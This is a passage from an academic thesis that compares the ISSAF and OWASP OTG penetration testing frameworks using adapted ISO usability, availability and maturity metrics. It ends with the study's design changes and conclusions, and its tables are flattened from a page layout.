framework domain coverage. Table 4.8 shows domain coverage for ISSAF and OTG is adequate for
this research.
4.4.4 Measuring Usability
Prior to any meaningful evaluation of usability, it is necessary to consider the assumed knowledge
and experience of the intended user(s). Naturally, users referred to here are security practitioners
who specialise in penetration testing; therefore, basic knowledge of penetration testing terms, tools
and techniques is the underlying assumption. At a minimum, familiarity of common phases, such
as, information gathering and associated techniques/tools, (i.e., nmap) is expected. While it is
acknowledged other penetration testing distributions exist, familiarity with Kali Linux is assumed.
It is outside the scope to discuss tools and techniques at length, however, suffice to say that security
practitioners performing penetration testing should be knowledgeable and capable of using common
tools and techniques. Security practitioners are not expected to be experienced in every aspect of
penetration testing.
Usability is described as the ease of use and efficiency that security practitioners can learn to
operate, prepare inputs, and interpret outputs. Penetration testing frameworks ideally should present
as easy to use, thus require minimal learning time. Measuring usability in this research will mostly
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rely on practical use and assessment manually, however, usability does exhibit sufficient subcharacteristics to aid in measuring frameworks for usability. To recall, sub-characteristics outlined
in the PTF Quality Model (see figure 4.2) are: appropriateness, learnability, operability, and
readability.
Standards Australia (2013) define appropriateness as; the degree to which users, in this case security
practitioners, can recognise whether a product is appropriate for their needs. This can be assessed
simply by means of examination of the framework. First, determine the framework is aimed at
penetration testing explicitly as opposed to assessing the entire security posture of an organisation.
Next, ensure the framework details the domain of the problem space. The problem space can be
examined by exploring the introduction and table of contents for domain coverage and scope.
To demonstrate one aspect of appropriateness, the case study selected for this research is web
application. ISSAF and OTG were appropriate inasmuch as domain coverage of web applications
within both frameworks is obvious by examination. The introduction adequately discussed the
scope of the framework and the table of contents suggests the framework provides adequate scope
for the project. In addition, a quality framework may provide examples of tests that a reader can
identify as relevant for a particular project, or include appendices that further support the security
practitioner in completing the project. Adopting a qualitative approach, table 4.9 is proposed as a
means of assessing appropriateness for ISSAF and OTG.

Table 4.9: Framework Appropriateness
ISSAF

OTG

Penetration Testing explicitly

Yes

Yes

Introduction relevant to project

Yes

Yes

Domain areas outlined in the Yes

Yes

table of contents
Examples provided (i.e. input Yes

Yes

and output data)
Appendices provided

Yes

Yes

Learnability is described as the degree to which a product can be used by specific users to achieve
goals of learning. Additionally, use the product with effectiveness, efficiency, freedom of risk, and
satisfaction in a specific context (Standards Australia, 2013). The “product” is a framework and user
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refers to security practitioner in this context. Learnability can be expanded to include recommended
tools, in other words, if recommended tools to perform specific security tests cannot be applied
practically then learnability is questionable. To elaborate further,, there should be adequate
instruction or reference to additional documentation to aid learnability for a specific phase or test
for learnability to be met. To address learnability, ISO and IEC (2002) provide a learnability metrics
table that can be adapted for penetration testing frameworks (see table 4.10).

Table 4.10: Learnability Metrics (ISO & IEC, 2002)
Internal learnability metrics
Metric name
Purpose of the Method of
application
metrics

Measurement, Interpretation

Metric

Measure Input to

ISO/IEC

Target

formula and

of measured

scale

type

measure-

12207

audience

data element

value

type

ment

SLCP

computations
Completeness
of user
documentation
and/or help
facility

Reference

What proportion
of functions are
described in the
user
documentation
and/or help
facility?

Count the
X= A/B
0 <= X <= 1
absolute X=count/ Req spec
Verification Requirers
number of
count
A= Number of The closer to 1,
Design
Joint review Develope
functions
functions
the more
A=count Review report
rs
implemented described
complete.
B=count
with help
facility and/or B= Total of
documentatio number of
functions
n and
compare with provided
the total
number of
functions in
product.
NOTE: : Three metrics are possible: completeness of the documentation, completeness of the help facility or completeness of the help and
documentation used in combination.

Adopting table 4.10 as an underlying model, the following amendments (see table 4.11) are
proposed as a means of measuring learnability for ISSAF and OTG.

Table 4.11: Amended Learnability Metrics
Metric name

Purpose of the Method of
application
metrics

Measurement, Interpretation

Metric scale Input to

formula and

of measured

type

data element

value

Target audience

measuremen
t

computations
Completeness
of user
documentation

What proportion
of tests are in
scope in the
framework

Count the
number of
tests
implemented
with help
facility and/or
documentatio
n and
compare with
the total
number of
tests inscope.

X= B/A)

X * 100

A= Number of
tests in-scope

The closer to
100%, the more
complete.

B= Total of
number of tests
implemented

absolute

framework

Security practitioner
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Naturally, the amendments proposed in table 4.11 are designed to align with penetration testing. It is
likely that not all tests in a particular framework will be in-scope for a project, as discovered
throughout this research. To illustrate, ISSAF details a comprehensive range of domain areas that
were not relevant for this research, therefore certain tests were not applicable, i.e., testing of
firewalls and routers. In comparison, OTG suggests three levels of testing, namely: black-box,
white-box, and grey-box testing whereby only black-box testing was undertaken. As a consequence,
only tests directly applicable to this research are considered for both frameworks. The number of
tests implemented represents tests undertaken without further reading; in other words, the
framework provided sufficient instruction to execute a particular test within the bounds of the
framework.
Table 4.12: ISSAF and OTG Learnability Result
Proportion

Number of

Measurement

Interpretation of

Metric scale

of tests in

tests

formula

measurement

type

scope

implemented

x = (t/n)

value

(n)

(t)

ISSAF

31

21

0.677

67.7%

absolute

OTG

52

40

0.769

76.9%

absolute

Table 4.12 shows that OTG demonstrates 76.9% learnability as compared to ISSAF which shows
67.7%. While adequate instruction is provided for ISSAF, it is not nearly as comprehensive as OTG
at the testing level. This suggests that execution of certain penetration tests are considered learnable
inasmuch as executing a command, however, interpretation of results requires explicit knowledge
on behalf of the security practitioner to be beneficial. Moreover, analysis of results is of more
concern than rote-learning a command.
Operability is concerned with the attributes that make a product easy to operate and control
(Standards Australia, 2013). Operability ensures that inputs and outputs conform to user
expectations. Consider a common task performed in the information gathering phase, for example,
banner grabbing. Banner grabbing involves the use of a specific tool (i.e. netcat) to obtain
information about a web application that requires certain input parameters such as IP address and
port number. Once executed a particular output is expected. If the command fails for reasons not
outside the pen testers control, i.e., network connectivity, it is not considered operable. In other
words, the command does not conform to user expectations and execution fails. Measuring
operability for penetration testing frameworks can become somewhat difficult due to the large
number of tests performed; therefore evaluation can be based on the overall success of the
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penetration test. The tools and techniques recommended should provide adequate instruction and
execute as expected. As previously discussed, the expected output is open to interpretation by the
security practitioner and deserves further elaboration. For the purpose of this research, discussion
on interpretation of results is out of scope in terms of operability. Similarly to learnability,
measuring operability is achieved by examination of a similar model provided by ISO and IEC
(2002), Operability Metrics (see Appendix A). Likewise, the model is adapted to align with
penetration testing.

Table 4.13: Operability Metrics
Total number

Number of

Number of

Number of

Test interfaces

Number of

of tests

tests that

tests that can

tests that

that are self-

tests that

performed (t)

provide

be customised

provide

explanatory

tolerate user

example input

during

messages that

(s)

error (e)

data (d)

operation (o)

are selfexplanatory
(m)

ISSAF

21

12

12

Not assessed

Not assessed

2

OTG

52

50

50

Not assessed

Not assessed

13

Interpretation of Results
The results detailed in table 4.13 refer to penetration testing undertaken for the IBM
implementation. Due to the unexpected unavailability of the DRK implementation (detailed in
section 4.6), ISSAF testing was terminated. OTG testing did complete in its entirety. For this
reason, testing continued with both frameworks using the equivalent IBM implementation. For
comparability, only IBM results are reported for both OTG and ISSAF.
The total number of tests (t) performed (see table 4.13) show that input data (d) provided for each
test respectively is 57.14% for ISSAF compared to 96.15% for OTG. This suggests OTG is more
operable opposed to its counter part. That is not to say that the remaining tests omitting example
input data were not successful, moreover, the input data entered was known. All tests performed
were customisable during operation (o) inasmuch as repeatability and variation of parameters. To
elaborate further, repeatability was achieved with different data sets and additional parameters. With
regard to the number of self-explanatory messages (m) and self-explanatory interfaces (s),
evaluation was not performed for reasons of interpretation, in other words, it is difficult to define
“self-explanatory” within a penetration testing context, thus open to interpretation and solely based
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on expertise. The metrics remain in the proposed model for penetration testers who wish to explore
this metric further. User error metrics are based on the number of tests that allow invalid input data
(e), but not necessarily obvious based on the output. For example, SQL injection performed using
both frameworks did not discriminate between valid SQL injection parameters and invalid SQL
injection parameters. This means the output was the same provided the web application was not
vulnerable to SQL injection. User error for ISSAF is 9.52% compared to 25% for OTG. While it is
obvious that tolerance of user error is greater for OTG, it is worthy to note that tests performed
using OTG are vastly different in comparison considering OTG offers far more detail for web
application testing. To elaborate further, it is not uncommon for OTG to dedicate one or more pages
that suggest an array of tools and techniques for a particular test.
Readability, introduced as a sub-characteristic of usability, is nominated as one possible means of
measuring usability for frameworks that present in documented form. Readability has a direct
relationship to usability, thus if the document under evaluation is not readable usability is affected.
Foremost, readability is concerned with how easy or difficult it is to read or comprehend written
text (Ludger & Gottron, 2012). Primary factors considered for readability include syntax and
complexity of vocabulary. Educators have developed techniques to measure vocabulary difficulty
and sentence length, thus difficulty level of text can be predicted. Consequently, a variety of
readability formulas are in use today (DuBay, 2004). One such formula known as Gunning Fog
Index (GFI), commonly referred to as Fog index (Gunning, 1952), was developed specifically for
adults. Fog index attempts to predict the school grade-level required by a reader to understand a
given text at first reading. For example, a fog index score of 10 would indicate that a minimum of
10 years formal schooling (U.S) is required to understand and correctly interpret a given text. The
formula works with two variables and produces the formula (GL) = 0.4 (ASL + PHW). The
average sentence length (ASL) is added to the number of words with more than three syllables for
each one hundred words (PHW). The result is then multiplied by 0.4 (DuBay, 2004) and produces
the grade level (GL). Whilst there are various formulae for measuring readability the Fog Index is
preferred for this research based on four characteristics: suitability for adult readers (intended
audience), simplicity, accuracy, and speed (Klare, 2000).
Fog Index Analysis and Results
Results were obtained using an automated open-source tool that calculates Fog index scores
("Readility-Score," 2015). OTG contains 220 pages, therefore evaluated in its entirety. Due to file
size limitations within the tool, the 845 pages of ISSAF were split into four separate files consisting
of 220 pages each, except the last file that consisted of 185 pages. The average Fog Index of all four
68

parts for ISSAF is calculated.
Table 4.14: Fog Index Scores
GFI Score

ISSAF

OTG

7.7

11

From table 4.14 it is obvious ISSAF requires less formal education compared to OTG. ISSAF
requires a minimum grade-level of 7.7 comparative to OTG whereby a grade-level of 11 is
recommended. Taking into consideration the intended audience, it is theorised that security
practitioners would at a minimum, complete 11 years formal schooling based on the underlying
assumption that Computer Security extends upon formal education. Put another way, even if 11
years of formal schooling is not achieved, an equivalent form of study or post-schooling is likely to
be undertaken. Therefore, readability scores for both frameworks are considered sufficient for the
intended audience. Comparatively however, ease of reading and comprehension of written text
within ISSAF is easier to interpret in contrast to its counterpart, OTG.
Usability Summary
Usability encapsulates four sub-characteristics, namely: appropriateness, learnability, operability,
and readability. The appropriateness of each framework was analysed by qualitatively evaluating
each characteristic. ISSAF and OTG exhibit the four characteristics nominated to examine
appropriateness, outlined in table 4.9. A different approach was fostered for measuring the
learnability sub-characteristic by means of amending the ISO Learnability Model to align with
penetration testing frameworks. The amended model was successful inasmuch as demonstrating the
comparator used could distinguish between the two frameworks. Similar to learnability, operability
was examined by employing an underlying measurement model utilising six metrics as a means of
quantifying operability. OTG provided comprehensive input data compared to ISSAF, however, the
number of tests that tolerate user error are greater for OTG. GFI was selected as a suitable method
to evaluate readability for reasons of intended audience, simplicity, accuracy and speed. Results
show ISSAF requires less formal education compared to OTG. While it is acknowledged that an
array of usability models exist in the literature, the metrics proposed for this research are nominated
for their ability to adapt to penetration testing frameworks, demonstrating that quantifying usability
for frameworks can be achieved.
4.4.5 Measuring Availability
Availability pertains to the degree of which a system, product or component is operational and
accessible when required for use (Standards Australia, 2013). In software, availability is more
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concerned with operational availability; in other words, system users can use the software without
experiencing frequent outages (Piedad & Hawkins, 2001). In the case of penetration testing, the
framework is the product and the components consist of modules or phases divided into domain
testing areas. To measure availability for frameworks, two variables are considered. First the
framework must be available for use, i.e., downloadable or obtainable in electronic or printable
form. Although it may appear obvious that a framework is available, this might not always be the
case for every scenario as will be discussed in more detail later in the chapter. Second,
recommended tools or third party software employed for a particular test should also be obtainable
without incurring additional cost to the project the has not be planned for. Put another way, security
practitioners will generally plan and scope enough resources for a given project, however, if tools
recommended for use present as open source at the planning stage but require purchase at the
operational stage then availability is impacted. In addition to the abovementioned factors, subcharacteristics are considered. To recall, sub characteristics of availability are, portability,
obtainability, and operability.
Standards Australia (2013) defines portability as “ the degree of effectiveness and efficiency with
which a system, product or component can be transferred from one hardware, software or other
operational or usage environment to another”. In software, the concern is more about running
software on different platforms, for instance, Windows or Macintosh operating systems. Penetration
testing frameworks are more about adapting to different circumstances. This may involve
employing the same framework for various projects, thus the discussion is directed more towards
“usage environment”. Portability is met if the framework can be tailored for different projects or
adapted under different circumstances. On the other hand, obtainability is concerned with the effort
required to obtain a particular framework and/or the required tools. For instance, a framework may
be publically available; nonetheless, the cost or license of certain tools might restrict obtainability to
some degree. If documentation or software tools are not available, by default it implies that
portability and obtainability are directly affected, consequently, impacts operational use.
To address availability one factor of concern is whether or not a certain framework is obtainable in
some form, for example, a printed copy or electronic version. In the case of ISSAF, availability is
questionable, not because it cannot be obtained; moreover, it is no longer supported. Therefore
availability is impacted. To illustrate, ISSAF was previously available from the official OISSG
website, however, the website is no longer accessible. As a consequence, security practitioners are
required to search for an alternative source to obtain the framework. As of this research ISSAF is
easily accessible from a collection of sources, primarily SourceForge. It should be noted that future
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availability might be limited. Similarly, consideration is given to the availability of software tools
recommended throughout the framework for particular tests. As previously discussed, software
referenced within frameworks are generically referred to as tools, in some a cases, software suites
(i.e. Metasploit), or even an entire operating system such as Kali Linux. Ideally, security
practitioners would verify availability of tools before settling on a particular framework. In
addition, software can and does change ownership and license requirements over time; therefore
cost can also be a factor. To illustrate, consider Nessus, a vulnerability scanner often recommended
for penetration testing projects. Originally Nessus was free and open source, however, Tenable
Network Security purchased the product in 2005, as a result, Nessus is now a commercial product
(LeMay, 2005). It is suffice to say that availability of the product (ISSAF) is satisfied, however, not
necessarily obtainable if assumed to be an open source tool, thus obtainability would impact the
project budget.
Table 4.15 shows a taxonomy of third party tools recommended by ISSAF and OTG that fit into one
of three categories. Third party tools in table 4.15 refer to any software tool not packaged by default
with Kali Linux (Offensive Security, 2015). Only tools that are required for web application testing
(in-scope) are included.

Table 4.15: Third-party Tool Availability
Total number of third party

Number of tools not

Number of tools requiring

tools

obtainable

purchase

ISSAF 14

5

5

OTG

5

4

(not included in Kali Linux)
32

Availability is satisfied for both frameworks inasmuch as OTG and ISSAF present as portable,
obtainable, and operational post evaluation. As discussed previously, future availability of ISSAF is
questionable. Turning to third-party software tools, OTG recommends 32 as compared to 3
recommended by ISSAF. This could be interpreted negatively by means of assumption that OTG
poses greater risk of impacting availability, however, on the contrary, OTG recommends an array of
tools for one task; in other words, ISSAF recommends one particular tool for one test in most cases
opposed to OTG whereby multiple tools are recommended for the same test. Therefore it could be
postulated that OTG offers a higher degree of operability. 28% of tools within OTG were either
unobtainable or required purchase compared to 71% for ISSAF, unsurprisingly given ISSAF is no
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longer supported. While ISSAF has a higher rate of unobtainable tools, it relies heavily on the web
browser, thus a majority of the tests were executed; this demonstrates the diverse approach that each
framework adopts.
4.4.6 Measuring Reliability
Reliability relates to the degree a system, product or component performs specific functions under
specific conditions over a specified period of time (Standards Australia, 2013). Referring to
frameworks specifically, conditions might relate to the agreed project scope. Similarly, the specified
period of time refers to the time allocated to complete the project in its entirety. To recall, the PTF
Quality Model proposes three sub-characteristics in support of reliability (see figure 4.2), namely:
maturity, consistency, and reusability.
Maturity pertains to the frameworks ability to meet requirement needs under normal operation
(Standards Australia, 2013). There exists a range of software maturity models published within the
existing body of knowledge (Al-Qutaish & Abran, 2011), however, as commonly experienced
throughout this research, little exists in the literature addressing maturity relating to aspects of
penetration testing or frameworks in documented form. The Open Source Maturity Model (OSMM)
is one model of particular interest due to its usability and reference to open source products, for this
reason, OSMM is considered suitable for an underlying maturity model for this research. OSMM
measures maturity by means of allocating a maturity score in three phases. (see figure 4.3).

Phase 1

Define
Requirements

Locate
Resources

Assess
Element
Maturity

Phase 2

Phase 3

Assign
Weighting
Factor

Calculate
Product
Maturity Score

Product Software
Support
Documentation
Training
Product Integrations
Professional Services

Figure 4.3: OSMM Maturity Model (Navica, 2004)

The first phase assesses vital product elements for maturity and assigns a score. Second, a
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weighting score is defined for each element based on organisational requirements. Finally, phase
three calculates the products overall maturity score (Golden, 2008).
The primary concern of phase one is to assess vital elements. In this case the elements are properties
critical to successful completion of a penetration testing project, thus the model has been adapted to
reflect elements applicable to penetration testing frameworks. OSMM advocates a four-step process
for evaluating product elements. First, requirements are defined to determine business objectives. In
most cases the ultimate goal is to identify vulnerabilities that may exist within the security posture
of a system, consequently, take appropriate action based on the results. Second, resources are
located to support the requirements. For instance, ISSAF does not have a strong community base
comparative to OTG whereby forums, mailing lists, among other resources, are widely available
due to its collaborative support. Third, maturity is assessed to determine how the element ranks on
the maturity continuum. Finally, a maturity score is allocated. Table 4.16 shows the Maturity
Evaluation Template used for maturity assessment prior to any modification.

Table 4.16: Maturity Evaluation Template (Navica, 2004)
Element

Potential
Score

Actual
Score

Element
Weighted
Score

Weighting
Factor

Software

10

4

40

Technical
Support

10

2

20

Documentation

10

1

10

Training

10

1

10

Integration

10

1

10

Professional
Services

10

1

10

Total Product Maturity Score

100

Table 4.17 and table 4.18 evaluate ISSAF and OTG with the proposed maturity model. Minor
adjustments are proposed to align with aspects of penetration testing. Phase one has been amended
to combine defining requirements and locating resources that form the elements outlined in table
4.17 and table 4.18.
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Table 4.17: OTG Maturity Score
Element

Potential

Factors

Score

Actual

Weighting

Element

Score

Factor

Weighted
Score

Framework

10

Longevity

9

3

27

7

1

7

to

8

1

8

to

10

2

20

to

7

1

7

to

8

1

8

2

1

2

Revisions
downloads
availability
supporting resources
maintainability
Supporting

10

Structure

Phases
sub phases
relevancy

Repeatable

10

processes

adequate

Domain

10

Coverage
Instruction

Non-existent
Non-existent
adequate

–

10

describes “what

Non-existent
adequate

and how”
Remediation

10

Techniques
Reporting

Non-existent
adequate

10

Instruction
templates

Total Product

79

Maturity Score
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Table 4.18: ISSAF Maturity Score
Element

Potential

Factors

Score

Actual

Weighting

Element

Score

Factor

Weighted
Score

Framework

10

Longevity

4

3

12

9

1

9

to

8

1

8

to

8

2

16

to

7

1

7

to

6

1

6

5

1

5

Revisions
downloads
availability
supporting resources
maintainability
Supporting

10

Structure

Phases
sub phases
relevancy

Repeatable

10

processes

adequate

Domain

10

Coverage
Instruction

Non-existent
Non-existent
adequate

–

10

describes “what

Non-existent
adequate

and how”
Remediation

10

Techniques
Reporting

Non-existent
adequate

10

Instruction
templates

Total Product

63

Maturity Score

Each element has a potential score of 10. The factors are characteristics that support the elements
actual score. For example, the element “framework” should exhibit longevity, downloads,
maintainability etc., while “domain coverage” considers a range from non-existent to adequate.
These factors are taken into consideration before the actual score is assigned. The weighting factor
of each element is summed to provide an overall maturity score of the product. Weighting factors
can be adjusted to suit the particular product under review providing flexibility for unique
circumstances. The only requirement is that the maturity weighting factors must sum to 10 since the
final step of OSMM is to create an overall maturity score that normalises to 100 point scale
(Golden, 2008). The weighting factors assigned in table 4.17 and table 4.18 are based on the
importance of each element specific to penetration testing frameworks. After the actual element
score and weighting factors have been assigned, the overall maturity score is calculated. Element
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scores are summed on a scale of 1 to 100 where the highest possible score is 100 (see table 4.16).
Interpretation of Results
Adopting the OSSM model, table 4.17 shows OTG has a maturity score of 79 compared to table
4.18 where ISSAF shows a total maturity score of 63. This suggests the overall maturity of OTG is
approximately 20% more mature than its counterpart.
Consistency is achieved within a software specification or document when its parts are not in
contradiction, thus consistency can be regarded as the degree of uniformity (Laplante, 2001).
Deutsch and Willis (1988) assert that consistency is achieved when standards are used throughout,
however, this is more inline with software engineering. Consistency, relating to documented
frameworks can adapt to the abovementioned definitions by means of following a structured format.
The framework itself should exhibit phases and sub-phases consistent throughout by taking a
uniform approach. In addition, inputs and outputs should match expected results to a degree
acceptable by the security practitioner. To ascertain whether consistency is achieved, a qualitative
approach is preferred, therefore this sub-characteristic is categorical, thus the framework exhibits
consistency or it does not. OTG demonstrated consistency by means of following a well-structured
format. Each testing domain is divided into phases and sub-phases: summary, how to test,
input/output, tools, and whitepapers. Comparatively, ISSAF presents as consistent following a
similar structure, mainly: description, pre-requisites, examples and results, analysis, counter
measures, tools, further reading, and remarks. ISSAF appears to offer a more detailed structure,
however, further observation of ISSAF revealed vague or non-existent detail compared to its
counterpart whereby detail was far more comprehensive. Nevertheless consistency is achieved.
Reusability as defined by Standards Australia (2013) is the degree to which an asset can be used in
more than one system. More generically, the ability to use or easily adapt software developed for a
system to build other systems. Reusability can be applied to patterns, frameworks or components
(Laplante, 2001). When referring to penetration testing frameworks, reusability is primarily
concerned with the ability of the framework to adapt to new circumstances, or, a new project.
Similarly to consistency, a qualitative approach is preferred. The two e-Authorisation systems
(DRK and IBM) underwent penetration testing using both ISSAF and OTG. Although similarities
exist between the implementations (i.e. the underlying architecture), the projects in essence are
different, thus highlighting reusability for both frameworks. Therefore, it is concluded that
reusability is met for OTG and ISSAF. Table 4.19 shows a summary of reliability for OTG and
ISSAF.
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Table 4.19: Reliability Summary
Maturity Score Consistency Reusability
ISSAF 63

yes

yes

OTG

yes

yes

79

4.5 Discussion of Results
This chapter set out to examine penetration testing frameworks and methodologies in three distinct
areas: nomenclature resolution, defining quality metrics, and framework quality evaluation. The
primary goal was to determine if penetration testing frameworks could be evaluated for quality. This
presented further questions that required remedy before any meaningful quality evaluation could be
undertaken. The literature provides abundant information relating to software engineering, however,
information relating to penetration testing frameworks appears to be limited, and in some aspects,
non-existent. The approach undertaken was to examine the field of penetration testing in isolation
and draw upon literature that is authoritative and internationally recognised whereby a foundation
could be established.
The first question (RQ1) that arose was how to differentiate between a framework and methodology
for the purposes of penetration testing. Section 4.1 (Nomenclature Resolution) was positive
inasmuch as a definition was formed. As a result, the Framework vs. Methodology taxonomy (see
table 4.2) was devised to determine what characteristics exist, thus addressing sub-questions RQ1:a
and RQ1:b, that asked what characteristics define a framework and methodology respectively.
The second question (RQ2) the research presented was what quality metrics could be defined
explicitly for penetration testing frameworks. Five quality models were reviewed to determine a
suitable set of quality metrics that subsequently formed the quality model proposed in section 4.3.2
The Penetration Testing Quality Model (adapted from ISO/IEC 25010:2013) served as an
underlying quality model whereby evaluation was performed combining qualitative and quantitative
measures.
The final question (RQ3), investigates whether penetration testing frameworks can be evaluated
against the proposed model for quality. The Gap Analysis (see section 4.2) facilitated the selection
of two suitable frameworks (ISSAF and OTG) to undergo quality evaluation. Penetration tests
against the DRK implementation and the IBM implementation were conducted in an attempt to
answer RQ3. The research showed that while no known model currently exists to undertake this
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task, quality could indeed be measured in one form or another. To reintroduce; extensibility adopted
a qualitative approach resulting in table 4.6. Four properties are nominated and each property
contributes equally to a certain quality metric, thus a framework demonstrates extensibility or it
does not. Maintainability was addressed by means of using a measure of frequency (a subcharacteristic of maintainability) to determine the level of activity a framework undergoes. The
number of revisions and updates are quantified. Domain coverage (section 4.4.3) proposed a simple
model (see table 4.8), whereby four properties are examined to determine appropriate domain
coverage for a given project. In the case of this research, it was demonstrated that domain coverage
was adequate. Availability was quantified by assessment of third-party tools that could potentially
impact project time and cost. This was considered important due to planned project budget, thus if a
framework recommends open source third-party tools then the tools should be obtainable at the time
of testing, however, this was not the case for OTG and ISSAF. It was found that OTG recommended
32 third-party tools not included in a default installation of the penetration testing distribution (Kali
Linux) compared to ISSAF whereby 3 are recommended. Finally, reliability was evaluated using
one of its sub-characteristics, maturity. Maturity scores were calculated by adapting the Open
Source Maturity Model (OSMM), the result being that OTG was more mature than ISSAF.
The quality evaluation does not attempt to argue any one particular approach to be correct;
nevertheless, the research shows that quality evaluation of penetration testing frameworks is
possible.

4.6 Amendments to the Research Environment
This research originally intended to use the AU2EU project whereby two pilot implementations of
e-Authorisation systems were nominated to undergo penetration testing. To recall, the two pilots
included as part of the AU2EU project are DRK (the German Red Cross) hosted by NEC, and
CSIRO. DRK provided a web interface as an access point allowing users of the system to
authenticate enabling them to manage services provided by the Red Cross to clients. The CSIRO
pilot (using the same underlying architecture) enabled authorised system users to authenticate via a
near field card. The purpose of the CSIRO pilot was to permit intended users of the system to enter
and communicate biological information regarding animal disease. While it is outside the scope to
discuss in depth the purposes of these systems, it is worthy to mention for reasons of context.
Regrettably, a number of issues were encountered during the research process resulting in
amendments to the proposed research design.
Foremost, regarding DRK, four key issues hindered the research process. First, the concrete
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implementation was not delivered until November 6, 2015, therefore outside the timeframe for this
research. In addition, time allocated for penetration testing (by the client organisation) was one day
as opposed to the agreed timeframe of two weeks. Second, source code was not provided as
originally intended restricting the inspection of code. Third, interface changes were encountered
whilst penetration testing progressed, thus changing the stability of the environment. Finally, system
credentials were not obtainable. Testing of user permissions, password resets among an array of
other recommended tests, was not possible. Despite these problems, penetration testing did go
ahead, however, it was not practically possible to accurately assess the implementation as originally
intended. While the system could not be accurately tested, OTG was put into practice in its entirety.
Certain tests were successful inasmuch as output was reported (see Appendix B); ISSAF was not
utilised.
Turning to the CSIRO pilot, a misunderstanding of the test objectives and the actual system was the
primary factor restricting penetration testing. To elaborate further, the environment was secure from
external threats due to the access point, i.e., card scanning was the authentication mechanism as
opposed to a web interface originally assumed. While penetration testing a card interface is
possible, the resources required to support it were not available in the allocated timeframe.
Furthermore, the time required to negotiate access was of concern given the pilot system was
behind a corporate firewall. Any testing of the pilot may have adversely affected production
systems; as a result the CSIRO pilot was not tested in any capacity.
Notwithstanding the limitations encountered, the research continued. Fortunately, IBM had at its
disposal a virtual implementation using the same underlying architecture that facilitated the
remainder of the research. Similar to DRK, the IBM implementation access point was a web
interface suitable for penetration testing, thus utilising both ISSAF and OTG. While it is
acknowledged that penetration testing is not restricted to web application testing, for reasons of
comparatively evaluating frameworks, it was preferred.
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Chapter 5 : Conclusion
It is no longer questionable that cyber crime is on the rise worldwide. In the first quarter of 2015,
more than $234 million of financial loss was reported via the Australian Cybercrime Online
Reporting Network (ACORN) (Australian Crime Commission, 2015). The industry is starting to
mature; consequently, the need for penetration testers has grown (Allen, 2012). As a result, this
research set out to examine penetration testing methodologies and frameworks to determine whether
frameworks and methodologies promoting penetration testing could be evaluated for quality.
However, this question is complex inasmuch as first determining what defines a framework and
methodology in this context.
Despite there are many frameworks and methodologies available, the terminology is often
misleading. The research set out to resolve the difference between the two terms to align more
closely with the aspects of penetration testing. It was found that no known definition exists for
documented frameworks within the field of penetration testing. Generically, however, and within
the information systems discipline, definitions of these terms are attainable. Based on already
established authoritative sources, the research was able to define methodologies and frameworks
with a specific focus on penetration testing. In addition, identify characteristics that could
potentially distinguish between them and provide a foundation of which the concepts can be
understood and built upon. Interestingly enough, it was discovered that while some methodologies
and frameworks were certainly what they claimed, others were found to be a collection of tools or
entire security assessments. The inexperienced pen tester would benefit from the knowledge gained
in this regard.
Following nomenclature resolution, quality metrics specifically aimed at penetration testing
frameworks was not easy to obtain, therefore quality metrics were drawn from existing quality
models where quality metrics are already established. The research was successful inasmuch as
devising an underlying quality model based on the ISO product quality model (Standards Australia,
2013), as a result, a penetration testing quality model is proposed. While it could be argued what
metrics should form part of the model put forth, it was shown that quality metrics could indeed be
defined and measured in some form, in other words, measuring quality is possible. Measuring
quality of a particular framework, in this case ISSAF and OTG, did produce further questions. For
example, interpretation of results is one concern proposed for future research. Frameworks do not
go far enough inasmuch moving away from rote learning commands to understanding and correctly
interpreting results. This is considered a key factor in any penetration testing project. Knowledge
gained from this research suggests that penetration testing should be treated as a project, therefore
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would benefit from a mature underlying framework or methodology that security practitioners can
follow. Furthermore, evaluating frameworks for quality is possible when clearly defined terms are
established. Approaching security assessments would certainly benefit by moving away from the
quick and easy approach of running vulnerability scanners and ad-hoc tests to assess the security
posture of a given organisation. A penetration test is merely a snapshot in time, thus regular
penetration tests should be undertaken. With a sound underlying framework of which to work,
securing systems more effectively can be achieved.
In conclusion, this research reviewed nine penetration testing frameworks and methodologies of
which underwent examination using various methods to determine suitability for evaluation. It was
found that many frameworks were either mis-named (i.e., were not actually frameworks in
reference to characteristics outlined in table 4.2), or lacked domain coverage or a sound ontological
foundation and thus restricted in their application. The two frameworks selected for evaluation
(ISSAF and OWASP’s OTG) underwent quality evaluation based on their focus (penetration testing
specific or security general) and ability to act as a framework (rather than a collection of techniques
without a unifying theme).

The research discovered that many “frameworks” could not be

generalised across problem domains (as would be expected for a generic pen testing framework).
The quality metrics mapped well to the selected frameworks (ISSAF and OTG), which suggests that
they are appropriate candidates to evaluate penetration testing frameworks. A solid understanding of
methodologies, frameworks, and quality models particularly focused on penetration testing will
help the security profession deliver better services overall.

5.1 Research Outcomes
A number of research questions were formed to determine whether penetration testing frameworks
could be measured for quality, the primary focus of this research. Prior to any meaningful quality
evaluation, research questions one and two emerged and required remedy (see table 5.1). Both
qualitative and quantitative methods are used to address the research questions presented. Table 5.1
shows the research questions and design phase mapped to the solution proposed.
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Table 5.1: Research Questions and Proposed Solution
Research Question

Related Design

Proposed Solution

Phase
RQ1:

Phase 1

How to differentiate between Methodology/

Section 4.1:
Nomenclature resolution

methodologies and frameworks Framework
for the purpose of penetration definition
testing
RQ1-a):

Section 4.1.2

What characteristics define a

Nomenclature Definition

penetration testing framework
RQ1-b):

Section 4.1.2

What characteristics define a

Nomenclature Definition

penetrating testing methodology
RQ2:

Section 4.3

What quality metrics can be

Quality Metrics and Evaluation

defined for penetration testing
frameworks
RQ3:
How

Section 4.4
can

frameworks

penetration
be

testing

evaluated

Framework Quality Evaluation

for

quality
RQI: How to differentiate between methodologies and frameworks for the purpose of penetration
testing?
Section 4.1.1 began with a review of existing definitions focused on information systems. The
reviewed formed a foundation from which a definition was drawn. Following nomenclature
resolution, table 4.1 was formed; factors for classifying frameworks and methodologies are
proposed. Nomenclature resolution (section 4.1.2) is one key outcome from which the remainder of
the research is based.
RQ1-a): What characteristics define a penetration testing framework?
RQ1-b): What characteristics define a penetration testing methodology?
Section 4.1.2 extended upon section 4.1.1. Characteristics of framework and methodology are
identified respectively, thus table 4.2 presents a Framework vs. Methodology characteristics matrix.
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Based on the outcome of table 4.1 (classifying factors) and table 4.2 (frameworks vs. methodology),
a gap analysis was possible. A review of nine methodologies and frameworks was performed with
the goal of classifying each into either the “framework” or “methodology” category based on their
focus and ability to act as a framework. This was successful inasmuch as certain frameworks
identified as either incorrectly named or incomplete that consequently, restricted their use. From the
gap analysis is was plausible to select two suitable frameworks (ISSAF and OTG) shown in table
4.4 that could be put into practice.
